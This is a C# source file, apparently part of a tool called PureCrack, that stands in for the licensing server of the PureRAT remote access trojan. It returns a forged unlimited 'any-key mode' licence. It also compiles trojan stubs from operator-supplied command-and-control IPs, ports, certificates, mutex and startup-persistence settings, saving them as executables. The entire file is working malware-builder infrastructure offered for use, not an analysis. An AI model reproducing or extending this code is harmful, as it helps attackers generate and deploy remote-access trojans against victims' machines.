174 lines
5.0 KiB
C#
174 lines
5.0 KiB
C#
using System;
|
|
using System.Collections.Generic;
|
|
using System.Diagnostics;
|
|
using System.IO;
|
|
using PureCrack.Build;
|
|
using PureCrack.Util;
|
|
using PureCrack.Wire;
|
|
|
|
namespace PureCrack.Relay;
|
|
|
|
public sealed class RouteHandlers
|
|
{
|
|
private sealed class BuildSettings
|
|
{
|
|
public List<string> Ips { get; init; } = new List<string>();
|
|
|
|
public List<int> Ports { get; init; } = new List<int>();
|
|
|
|
public string? CertBase64 { get; init; }
|
|
|
|
public string? Group { get; init; }
|
|
|
|
public string? PanelPfxBase64 { get; init; }
|
|
|
|
public string? StartupName { get; init; }
|
|
|
|
public string? StartupEnv { get; init; }
|
|
|
|
public string? Mutex { get; init; }
|
|
}
|
|
|
|
private readonly byte[] _cannedCompile;
|
|
|
|
public byte[] ValidatePb { get; }
|
|
|
|
public RouteHandlers(byte[] agentPfxBytes, byte[] cannedCompileResponse)
|
|
{
|
|
ValidatePb = BuildValidateResponse(agentPfxBytes);
|
|
_cannedCompile = cannedCompileResponse;
|
|
}
|
|
|
|
private static byte[] BuildValidateResponse(byte[] agentPfxBytes)
|
|
{
|
|
string s = Convert.ToBase64String(agentPfxBytes);
|
|
byte[] body = ProtoNet.FSub(7, ProtoNet.FString(2, s));
|
|
byte[] body2 = Concat(ProtoNet.FInt(1, 1L), ProtoNet.FString(2, ""), ProtoNet.FString(3, ""), ProtoNet.FString(5, ""), ProtoNet.FString(7, "PureRAT v4.0 - any-key mode"), ProtoNet.FString(9, "Welcome!"), ProtoNet.FSub(10, body), ProtoNet.FString(11, "HWID Changes: 1 of 9999 used"), ProtoNet.FString(12, ""), ProtoNet.FString(13, "Expires in 9999 days"));
|
|
return ProtoNet.FSub(2, body2);
|
|
}
|
|
|
|
public byte[] Compile(byte[]? plaintext, bool dynamicBuildEnabled)
|
|
{
|
|
if (plaintext != null && dynamicBuildEnabled)
|
|
{
|
|
try
|
|
{
|
|
byte[] array = BuildDynamic(plaintext);
|
|
if (array != null)
|
|
{
|
|
return array;
|
|
}
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Log.Err("dyn-build failed: " + ex.Message);
|
|
}
|
|
Log.Warn("falling back to canned /compile response");
|
|
}
|
|
return _cannedCompile;
|
|
}
|
|
|
|
private static byte[]? BuildDynamic(byte[] plaintext)
|
|
{
|
|
BuildSettings buildSettings = ExtractBuildSettings(plaintext);
|
|
if (buildSettings.Ips.Count == 0 || buildSettings.Ports.Count == 0)
|
|
{
|
|
Log.Warn("dyn-build: panel did not include IPs/Ports — using canned");
|
|
return null;
|
|
}
|
|
string text = ((!string.IsNullOrEmpty(buildSettings.PanelPfxBase64)) ? buildSettings.PanelPfxBase64 : buildSettings.CertBase64);
|
|
BuildConfig buildConfig = new BuildConfig
|
|
{
|
|
Ips = buildSettings.Ips,
|
|
Ports = buildSettings.Ports,
|
|
CertPfxBase64 = (text ?? ""),
|
|
Group = (buildSettings.Group ?? "Default"),
|
|
Mutex = (buildSettings.Mutex ?? "purecrack-default"),
|
|
StartupName = (buildSettings.StartupName ?? ""),
|
|
StartupEnv = (buildSettings.StartupEnv ?? "")
|
|
};
|
|
Log.Info("dyn-build: ips=[" + string.Join(",", buildConfig.Ips) + "] ports=[" + string.Join(",", buildConfig.Ports) + "] group=" + buildConfig.Group + " mutex=" + buildConfig.Mutex);
|
|
byte[] array = StubBuilder.Build(buildConfig);
|
|
string arg = DateTime.Now.ToString("yyyyMMdd_HHmmss");
|
|
string text2 = Path.Combine(Workspace.StubsDir, $"stub_{arg}_{Process.GetCurrentProcess().Id}.exe");
|
|
File.WriteAllBytes(text2, array);
|
|
Log.Ok($"dyn-build: wrote {array.Length:N0}b stub to {text2}");
|
|
byte[] body = Concat(ProtoNet.FInt(1, 1L), ProtoNet.FString(2, ""), ProtoNet.FBytes(3, array), ProtoNet.FString(5, ""), ProtoNet.FInt(6, 1L));
|
|
return ProtoNet.FSub(4, body);
|
|
}
|
|
|
|
private static BuildSettings ExtractBuildSettings(byte[] plaintext)
|
|
{
|
|
BuildSettings result = new BuildSettings();
|
|
try
|
|
{
|
|
byte[] array = ProtoNet.FirstSub(ProtoNet.Parse(plaintext), 3);
|
|
if (array == null)
|
|
{
|
|
return result;
|
|
}
|
|
byte[] array2 = ProtoNet.FirstSub(ProtoNet.Parse(array), 5);
|
|
if (array2 == null)
|
|
{
|
|
return result;
|
|
}
|
|
byte[] array3 = ProtoNet.FirstSub(ProtoNet.Parse(array2), 9);
|
|
if (array3 == null)
|
|
{
|
|
return result;
|
|
}
|
|
Dictionary<int, List<ProtoValue>> parsed = ProtoNet.Parse(array3);
|
|
return new BuildSettings
|
|
{
|
|
Ips = ProtoNet.GetStrings(parsed, 1),
|
|
Ports = ConvertToInts(ProtoNet.GetInts(parsed, 2)),
|
|
CertBase64 = ProtoNet.FirstString(parsed, 3),
|
|
Group = ProtoNet.FirstString(parsed, 4, "Default"),
|
|
PanelPfxBase64 = ProtoNet.FirstString(parsed, 10),
|
|
StartupName = ProtoNet.FirstString(parsed, 11),
|
|
StartupEnv = ProtoNet.FirstString(parsed, 12),
|
|
Mutex = ProtoNet.FirstString(parsed, 14, "purecrack-default")
|
|
};
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Log.Warn("extract: parse err: " + ex.Message);
|
|
return result;
|
|
}
|
|
}
|
|
|
|
private static List<int> ConvertToInts(List<long> longs)
|
|
{
|
|
List<int> list = new List<int>(longs.Count);
|
|
foreach (long @long in longs)
|
|
{
|
|
list.Add((int)@long);
|
|
}
|
|
return list;
|
|
}
|
|
|
|
public static byte[] AckResponse()
|
|
{
|
|
return ProtoNet.FSub(2, ProtoNet.FInt(1, 1L));
|
|
}
|
|
|
|
private static byte[] Concat(params byte[][] chunks)
|
|
{
|
|
int num = 0;
|
|
byte[][] array = chunks;
|
|
foreach (byte[] array2 in array)
|
|
{
|
|
num += array2.Length;
|
|
}
|
|
byte[] array3 = new byte[num];
|
|
int num2 = 0;
|
|
array = chunks;
|
|
foreach (byte[] array4 in array)
|
|
{
|
|
Buffer.BlockCopy(array4, 0, array3, num2, array4.Length);
|
|
num2 += array4.Length;
|
|
}
|
|
return array3;
|
|
}
|
|
}
|